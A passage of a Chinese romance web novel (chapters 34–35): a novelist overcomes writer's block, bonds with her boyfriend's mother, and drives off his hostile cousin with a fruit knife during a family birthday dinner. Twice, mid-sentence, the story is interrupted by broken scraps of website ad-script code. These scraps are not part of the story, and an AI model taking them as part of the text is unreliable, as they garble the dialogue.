利知下了床,拉开衣柜,上层很醒目的位置摆了一些女装,有上衣有裤子,还有裙子,连贴身衣物也有! 利知脸热热的,耐不住好奇心,翻看着内衣内裤的尺码。 都是均码的。 不期然想到他刚才改卷的全过程。 啧。 该说他懂得多,还是少呢? 34. 第 34 章 中秋过后,利知的存稿宣告用光了。在评论区各种嗷嗷待哺和骂骂咧咧中,利知挂了一张请假条。 她鲜少的,在连载期进入瓶颈了。 时日,秋高气爽,她一个人在公园发了一下午的呆,直到两条腿都被叮了好多大包才悻悻然离开。 看来公园效应也拯救不了她的瓶颈了呜呜呜。 她有一个问题没想通,就是她的女主是在夹缝中卑微地生活着,那女主对待男主就变得卑微,内心充满不配得感,那她以什么精神面貌去喜欢那么优秀的男主呢? 全凭一鼓作气的勇气吗? 直觉告诉她,不是。 哎呀,想不通干脆不想了呗。 于是躺平摆烂,于各大平台刷小视频,还有看各种逗乐有趣的小品,直到乐累了才消停,又开始漫无目的地找看,直到看到一些文化博主的分享,有几个阅读量不算高的,但内容却让利知深思。 比如说人的成长是一个不断袪魅的过程,其中有一条是对恋爱关系袪魅。 还有一个比较有意思的词—赋魅。 其大意是在一定程度上寄托了我们对生活,对别人的向往。 过于给对方赋魅,会让现实生活失真,会给对方造成压力。因为在你的眼中,对方是完美的,可对方清楚知道,自己并不是你想象中的那个完美的人。 利知把一篇稍微完整的博文看完,思绪放空了一会儿,随即眼睛一转,看向正站在餐桌边上,认真布饭菜的蒋星尧。 他今天穿着白衬衫黑西裤,袖子挽起,露出一截手臂。他低垂着头,露出修长的脖颈,站姿笔直,体态从容。骨节分明的手指有条不紊地揭开从“咻”打包来的饭菜。 利知望着他,思绪不禁飘远,想到那天在他家里,他打着手电筒说的那番话,还有叫她擦掉对他的滤镜。 好像,她所产生的落差感,更多来源于她对蒋星尧的赋魅。 如果依据网上热议的祛魅一说法,喜欢蒋星尧,是喜欢他这个人,那么他的身份、社会地位、他身后所得的奖牌和荣誉称号,只是他的别称。 正如她小说里的女主,如果能正视男主的优秀,允许男主有各种各样的缺点,接纳不同面的男主。 那么女主就不是一个孤勇者啦! 啊啊啊她好像又可以了! 利知把手机往茶几一放,一骨碌坐了起来,趿着拖鞋走过去,笑嘻嘻地说:“有什么我能帮上的?” 蒋星尧没抬头,只是低笑着忙手里的活,“帮忙多吃点。” “……” 吃完饭,利知主动把桌上的盒子筷子收拾好,然后走进厨房。 活不多,蒋星尧插不上手,便手扶在她的腰,同手同脚地跟在她后面。 要是小屁孩做同样的动作,那是一秒化身拖油瓶,可是蒋星,却给人一种猛萌的感觉。 利知无奈道:“你这样子,我走路不方便。” 他驳回,“又没几步路。” 好不容易连同厨房的垃圾一起打包扎好,利知转过身,一抬眼便跌入深不见底的黑眸里。 利知不禁心头一颤,最近蒋星尧热衷于与她探讨人体结构,还是手嘴并用那种,虽然只是浅尝辄止地研究上半身,但一探讨起码要一小时。 她才突破瓶颈,此时最想探讨的是她小说的结构,关于人体结构的方面,她想暂停一下。 “小心肝~”她扬起脸朝他谄媚一笑,“时候不早了,该回去了哦!” 蒋星尧气笑,“吃饱就赶人了?” “……”这话太容易让人想歪了! 她解释道:“我突然灵感爆发,迫不及待要写下来。” “我可以在这里陪你。” 利知想都没想拒绝,“不行,我要心无旁骛。” 他愉悦地笑了,“我在你都无法专心了?” 他继而说:“明天我就要出差了,要十天。” “真的不行吗?”他搂住利知,拖腔带调地唤了一声,“姐姐。” ……又来! 利知戒备地看着他。 蒋星尧魅惑人有他的一套,照顾她那段日子把秀身材渗透到日常里。 自从逗他叫她姐姐之后,他又发现新大陆了,因为, 她总是在一声声的姐姐中,迷失自我…… 他不单会魅惑,还非常了解她的□□,知道怎么做她最无招架之力。 利知闭眼深吸了一口气,用强大的意志把人拉到电梯口,按下电梯。 电梯快到之际,她把扎好的垃圾袋举到两人侧方,放软着声音说:“把垃圾丢掉了哈!” 蒋星尧笑着接过,用另一只手捏了捏她的脸,“别太晚了,不然第二天又起不来。” “嗯嗯。”利知应付地点着头。 回到屋里,又觉得心里落空空的。 她都觉得自己矛盾得很,人在身边的时候拼命往外推,才离开不到一分钟又开始想念了。 哎呀呀,这算不算是热恋期的魅力作祟! * 利知又恢复了日常更新。只是没了蒋星尧在身边时不时的督促,经常码字两三点。 每天宅家的日子没有太大的起伏,唯一不同的是和蒋母出去吃了两次饭,做过一次SPA。 熟了之后,利知发现蒋母温婉的外表下,有着一颗少女心,喜欢马卡龙色系,喜欢吃甜品喝奶茶。 利知尝试带她去出品不错的网红餐厅,她一下子就爱上了。 利知还从蒋母那里知道了很多蒋星尧小时候的事。 最令她意外的是,蒋星尧小的时候,蒋父一有时间就陪蒋星尧打篮球、打羽毛球、踢足球、骑车等等。凡是运动类的,几乎都有蒋父的参与。 一说到蒋星尧小时候,蒋母就滔滔不绝,“小尧幼儿园的时候,我给他打扮得可帅可帅了!梳着小背头,白衬衫,背带小西裤,班里的同学都喜欢和他玩。我和他爸还一起出席亲子活动啊,家长会啊这些的。他最喜欢我们一起陪他了,说小朋友都羡慕他可以骑在爸爸胳膊上比赛,可比他们的妈妈快多了。他说话时一脸自豪的样子,我到现在还记得呢哈哈哈……” 笑着笑着笑容就淡了下来,脸上浮现出若有似无的愁容,但很快她又调节过来,笑着和利知聊起等下要去的饮品店。 蒋母很健谈,可能得益于她那颗少女心,利知完全不觉得与她有代沟。 要知道,她是很不会和长辈相处的! 利知还有一个发现,除了上次讲过蒋锐的事之后,蒋母没再提过蒋锐,仿佛这个人不存在那般。 * 蒋星尧是周五中午回来的,机场出来直奔公司,晚上和利知去“咻”吃晚饭。 贾至修今晚很忙,只来找他们聊了一会又走了。 晚饭过后,两人来到江边散步。 快十月了,温度也就吝吝啬啬地降了那么一点。 两人闲适地走着,利知挽着蒋星尧的手臂,和他细说着和蒋母去吃过什么。 蒋星尧垂眸微笑,安静地听着。 “阿姨还说了很多你小时候的事呢。” “哦?都说了什么?” “说你小时候喜欢梳背头,喜欢穿背带小西裤。我想啊,那不是电视剧里小少爷的形象吗?” 蒋星尧没忍住笑了出来,“你这么说,还真像呢!” 利知抬眸看他,星眸里星光点点,心情倒是愉悦。 “阿姨还说你小时候特别喜欢黏着叔叔,家长会啊亲子活动也要叔叔到场 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,说你的同学都很羡慕你爸陪你玩游戏呢。” 利知瞄了他一眼,见他神色未变,继而说,“你小的时候,叔叔应该很忙吧?他一有时间就陪你,还不是一次两次的,真难得啊!” “那是。”蒋星尧笑意没减,“我爸真正做到陪着我长大的,我的很多兴趣爱好都在他的影响下培养出来的。” “那,你和叔叔之间……”后面的话都说得有些含糊了,“有没受蒋锐影响?” 蒋星尧笑意淡了些,神态倒是平和,“还行。本来男孩子长大了也不会像小时候那样和父亲亲密了。” 这么说也是。 利知摇了摇他的手臂,“那以后多回去吃饭,陪陪他们吧。” 蒋星尧笑了,“行啊。一起?” “……” 一起就一起! 周六晚上,蒋星尧就载着利知回去吃饭了。 “嗨,美女,我们回来了。”蒋星尧长臂一挥搂住蒋母就往里走。 “去去去!搂自己的女朋友!” “小气,搂一下都不行。” 蒋父外出了不在家,母子俩斗斗嘴的,气氛倒是融洽热络。 周三蒋母叫他们回去吃饭,说买了一条大龙趸。 这次蒋父也在。 这一次,利知特地留意了下,发现父子俩压根就没过多的交流,有的一两句,也仅限于工作上的。 问的人公式化,答的人简言意骇。 利知觉得蒋星尧骗了她,至于是骗她多来他父母家呢,还是骗关于他和他父亲之间的隔阂,就不得而知了。 在回家的路上,利知气鼓鼓地,就是不想说话了。 在等红灯的时候,蒋星尧凑过去,轻轻刮了下她的脸颊,笑着问道:“车里的空气惹我知知生气了?” 利知瞪他一眼,纠正道:“是车的主人。” “怎么惹你了?” “他的叛逆期,”利知一个字一个字说,“推迟了十年!” “叛逆期?”蒋星尧笑了,“他哪叛逆了?” “他骗我!”利知说,“他们父子之间,不太亲近。” 蒋星尧叹了一口气,轻轻捏了下她的脸,“小机灵鬼!” “我说得对不对?” 他直起身,脸上挂着若有似无笑,声音冗沉悠远,“有没可能,他一直处在叛逆期?” 利知满脸不解。 他说完那句话之后,直起身,看向前方。 那优越的侧脸,在明暗交替的环境下,多了几分孤寂。 这时红灯变绿,他缓缓驱动车子。 良久,才响起他低沉的嗓音,“从小我爸就对我言传身教,要懂事,识大局,顾全局。大伯走了之后,周围发生的变化我都理解,包括蒋锐一家人的想法,还有我爸妈的愧疚。” 他扯了个笑容,“我爸教我的一切,我本以为能等长大后慢慢参透,没想到十来岁就要强行去执行。” “知知,我都懂的,初中就懂了。爸妈对蒋锐,和对我都有愧疚,只是各有权重罢了。” 利知一阵心酸。正如蒋锐造卖假药那件事,他懂事地拦截下来,却是向蒋父借钱。 如果不是懂事,他大可让蒋父出钱的,可他没那么做。 可懂事,不代表不会伤心的啊。 要是蒋父以前是个疏于关心儿子的父亲,可能在蒋锐的事上,落差感没那么大。 偏偏蒋父是个有责任感的父亲,在儿子童年有着满满的参与度。 利知想到他揍了蒋锐那晚说的话:我没有道德,他们就绑架不了我。 还有刚才那句,一直处在叛逆期。 是不是,只有给自己涂上了一层保护色,才能光明正大地释放那份悲伤呢? 35. 第35章 蒋母的生日在10月下旬,早早就说好了,就一家人聚一起吃顿饭就好了。 当天下午,天空阴沉沉的。利知提着礼物,顺便去蛋糕店提了蒋星尧订好的蛋糕,然后打车去蒋家了。 蒋星尧在三天前出差了,说争取赶在晚餐前回到。 晚餐还是丽姨做主力,蒋母和利知打打下手。 在她们在厨房忙碌的时候,外面下起了倾盆大雨。 没一会,蒋父带着水汽回来了。 “听说这场雨是从江城那边下来的,”蒋父肩膀搭着毛巾,边擦拭着头发走进厨房,“不知道小尧的航班有没延误。” 利知望着窗外乌压压的一片,不禁担心起来,“我问下他。” 拿出手机才发现蒋星尧早给她发了消息,说航班延误,还没具体起飞时间,确切了起飞时间会告诉她的。 这场雨造势大,时间倒不长。 晚饭前,蒋星尧给利知打了个电话,说回到家估计要八九点,让他们不用等他吃饭。 利知轻声应着,“那你直接过来?” “嗯,我接你回去。”他低声说,“在家等我。” “好。” 挂了电话,利知倚着柱子查看没来得及看的信息,听着屋檐有节奏地滴下豆大的水滴,不远处有蛙声此起彼伏。 忽然,院子里传来一阵突兀的开门声,紧接着是轻重不一的脚步声。 利知抬头,对上一双阴郁的眼。 那人嘴角还挂着凉薄地笑,与利知对视后,笑意诡异地放大。 又是蒋锐! 利知把手机揣进裤袋,站起身子,双手插袋,抿唇望着他。 “哟,这不是弟妹吗?”蒋锐在利知不远处停下,拖着声音说,“啊,不对,蒋星尧都没说娶你,你顶多算是个——” “倒贴货。” 说最后三个字时,他压低声音,用无赖的语气说出来。 利知神色未变,只是裤袋里的手紧紧握住手机。 经过上次那两巴掌之后,利知对眼前的人没了那份恐惧了。 恐惧,来自于未知。 蒋锐这个人,正如练凝说的,徒有个空壳。 面对这种人是没理可讲的,首要是确保自身安全。 蒋锐见利知毫无反应,顿时觉得没趣,低声说了句难听的,便大摇大摆地走进屋里,还不忘扬着嗓子往里喊:“婶啊,我来给你庆生啦!” 因为蒋锐的加入,晚餐的气氛变得异常诡异,全程都是蒋锐在絮絮叨叨。 “婶啊,看吧,我再忙也抛下手头事来给你庆生。” “星尧怎么搞的,赶不回来就让小女朋友代替,这都能让别人代替的的吗?” “婶还是好福气,每年生日都有叔陪着。我妈这辈子都没这种福气喽。” “阿锐,”蒋父沉声道,“差不多了,吃完饭就回去吧。” 语气没起伏,却带着震慑的意味。 蒋锐讪讪地放下碗筷,转而笑着问利知:“弟妹,我送你回家吧!” 利知没来得及拒绝,蒋父抢先说:“不用,小尧等下来接她。” 接着催促,“你先走。” 蒋锐走后,蒋母轻轻地放下筷子,一手支着头。 利知这才发现,蒋母的脸色惨白惨白的,唇也没了血色。 便轻声问道:“没事吧?阿姨。” 蒋母扯着笑摇了摇头。 蒋父叹了一口气,柔声道:“我送你上去躺会吧。” “抱歉啊知知,”蒋母弱声说,“我这头痛病又犯了。你先坐一会,碗筷等阿姨来收拾就好了。” “没事的阿姨,我又不是第一次来,我在这等一下没事的。您身体要紧。” 临离开前,蒋父对利知说:“等下宋何会过来,你先坐一下吧。” “好的。” 两人回房后,利知看向满桌的碗筷碟。阿姨早在做完饭就离开了,等阿姨过来估计也得明天,反正闲着,收拾一下吧。 才起来收拾,门口闪出一道身影。 抬头望去,是去而复返的蒋锐。 他抱着臂倚着门槛看着利知,笑得一脸阴森,“他们又没在你献什么殷勤?” 接着讥讽道,“不会是做给我看的吧?” 利知平静地收回视线,动作未停。 那声音带着恼怒,“喂,你到底有没礼貌的?” 利知直起身,双手端着碗筷,轻飘飘地看向他,“礼貌,是对人的。” 说着走进了厨房。 蒋锐面露狠戾,随即嘴角勾起阴森森的笑,大步跟进厨房。 只是才到厨房门口就停滞住,随之一步步往后倒退,“你,你冷静点!” 利知举着一把水果刀,刀尖对着他胸口的位置,声音很是冷静,“蒋叔叔叫你滚!” 她一步步把人逼向门口,眼神坚厉而凶狠,“听不懂人话吗,啊?” 蒋锐试图说服利知,“蒋星尧给你什么了?对他这么死心塌地?他爸欠我家一条命,我要什么,他们得首先满足我。要不你把刀放下?有什么我们好好说,他能给你的,我能给你更多!” 利知扯了个笑,只是笑意不达眼底,“蒋锐,我替你爸感到心寒。” 蒋锐脸色骤变,“你没资格提我爸!” “那你为什么去而复返?”利知扬了扬手里的刀,灯光下,刀尖发出冷银色的光。 他讥笑,“怎么?以为你自己很大魅力?” “答案你比我清楚啊。”利知不含情绪地看向他,说出的话却毫不留情,“你一直利用你爸的崇高精神,还利用星尧一家的正直善良,和对你一家的亏欠,一边获得利益,一边对他们道德绑架。” “凭心而论,你对他们真的有那么狠吗?你爸的事,早已成为你混淆视听的借口吧?你不断把你爸的事挂嘴边,你知道两老根本不会反驳。对于星尧,你不惜网暴他,PUA他,是你不敢直视失败,不敢承认他比你优秀。” “还有,你这么有恃无恐,无外乎你怎么作妖捣乱,他们都不会把你怎么样,甚至全给你兜着。你根本就是个长不大的巨婴!” 蒋锐听到最后,面部表情越发狰狞,他跨步上前,咬牙切齿道:“你这个死三八,嫌命长了是吧,信不信我……” “你敢动她试试!”蒋母不知道什么时候出来了。 她快步走过来,把蒋锐往后一推,“你这个卑鄙小人,寄生虫,到处说小尧坏话,还想对知知使坏,我……” 蒋母四处寻找没找着什么东西,最后直接握拳像流星锤般捶打他,“我打死你!” 蒋父担心她,便拉住她,“梵梵,小心身体,我来……” “蒋鹤白!”蒋母一把甩来蒋父的手,朝他大吼,“你敢阻止我试试!我明天就跟你离婚!” 这时宋何也赶到了,看着眼前混乱的场面握草了一声,快速权衡过后他跑过去扶住摇摇欲坠的蒋母。 却不料蒋母此时杀红眼,直接夺过他的皮质医药箱,直接往蒋锐呼过去。 蒋锐闪开了,却还是被箱角打中手臂,他嘶的一声捂住被打的地方,狠狠地盯过去,紧接着蒋母的流星锤又落下来。 “你给我滚,这里不欢迎你,以后都不要踏入我家,来一次我打一次!” “你这个卑鄙无耻之徒,巨婴!给我滚!” 蒋母歇斯底里地吼着,因为声音拔高,最后“滚”字还破音了。 尽管脸色白成一张纸,怒赤了的双眼却狠狠盯着他,一脸的凶狠简直气场全开。 最后, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 蒋锐灰溜溜地走了。 蒋母已经站不稳了,蒋父把她横抱回房间。 宋何落后一步,不放心地问利知:“你怎么样?” 利知摇着头,“我没事,你先去看阿姨吧。” 不一会,客厅又恢复安静,利知跌坐在沙发上,僵直地伸直握着刀的手,手指好像失去知觉般,还紧紧地缠着小刀柄。 她缓缓地找回知觉,“哐当”一声,小刀跌落到茶几上。 她长长地舒了一口气。 这时房门从里面打开,蒋父走了出来。 利知连忙站了起来,“蒋叔叔,阿姨怎么样了?” “没事,小宋在给她做针灸。”蒋父示意利知坐下,自己也在单人沙发上坐下,“今晚的事,我非常抱歉。” 利知一怔,随即摆着手说:“不不不,这不关您的事。” 蒋父双手交叠,低着头静默了一会,才沉沉开口,“阿锐的事,你也听说了吧?” 利知抿着唇轻轻应了一声。 “阿锐这孩子,是我对不起他。”蒋父轻叹了一声,“他对我有恨,我是知道的。所以他在公司搞的一些小动小作,我都睁一只眼闭一只眼。唯独那次,他要制卖假药。” “我听星尧说过这件事。”利知轻声说。 蒋父笑了一下,“你是不是好奇,我为什么不出面?” 利知沉默以作回应。 “我想知道,小尧敢不敢。”他欣慰一笑,“果然,他没让我失望。” 利知张了张嘴,最终一句都没说。 于理,蒋父没做错,而且给了蒋星尧一个清除内障的机会。 于情,三方都伤害了。 蒋父看向利知,“是不是觉得我不近人情?” 利知斟酌了一下,“叔叔,您有您的考量。” “手心手背都是肉啊。”蒋父望向矮几上,利知顺着他的视线望去,是一家三口的合照,照片里的蒋星尧看着只有十一二岁的样子,笑得很天真无邪。 这时蒋父又说:“小尧要是不争气,我会骂他一顿,再狠狠处罚他。可是阿锐……他以前不这样的,之所以变成这样,我有不可推卸的责任。” 眼前的人有着上位者的气魄,淡定、从容和睿智。 却因为背负了一条有血缘关系的生命,有着历尽沧桑的无奈。 * 宋何出来了,蒋父进房间陪蒋母去了。 宋何一脸八卦地问利知:“刚才到底怎么回事?我还是第一次见阿姨发那么大的火。” 他停顿了下问道:“是不是那个巨婴来骚扰你?” “你都猜到了啊……”利知大致把事情经过讲了一下,宋何听了给她竖起大拇指,连连叫好。 最后他忿忿道:“那家伙就是个巨婴,借着自己是受害者家属的身份,以为全世界都得给他让路了。欠收拾!” 利知问:“就没有别的办法处置他了吗?” “有啊,还两种。”宋何竖起一根手指,“一是老蒋大义灭亲,把巨婴赶走。可他不才上任嘛,再加上外界那些流言,地位还没稳固呢,短时间内他不好动手。” “二呢?” “二是蒋叔叔大义灭亲,赶走巨婴。” 利知想起蒋父那一脸的无奈,就知道不大可能了。 她叹息一声,“还不如直接说,没办法呢。” “哎呀,家家有本难念的经呐。” 宋何离开后没多久,蒋星尧匆匆赶到,他步履急促,黑色的风衣在步伐的开合之间猎猎作响。 他在利知面前收住了脚步,盯着那双月牙般的眼好一会,又拉着她的手,把她仔细地瞧了一遍,才如释重负般舒了一口气。 他轻轻把人搂在怀里,声音轻柔道:“刚才吓到了吧?”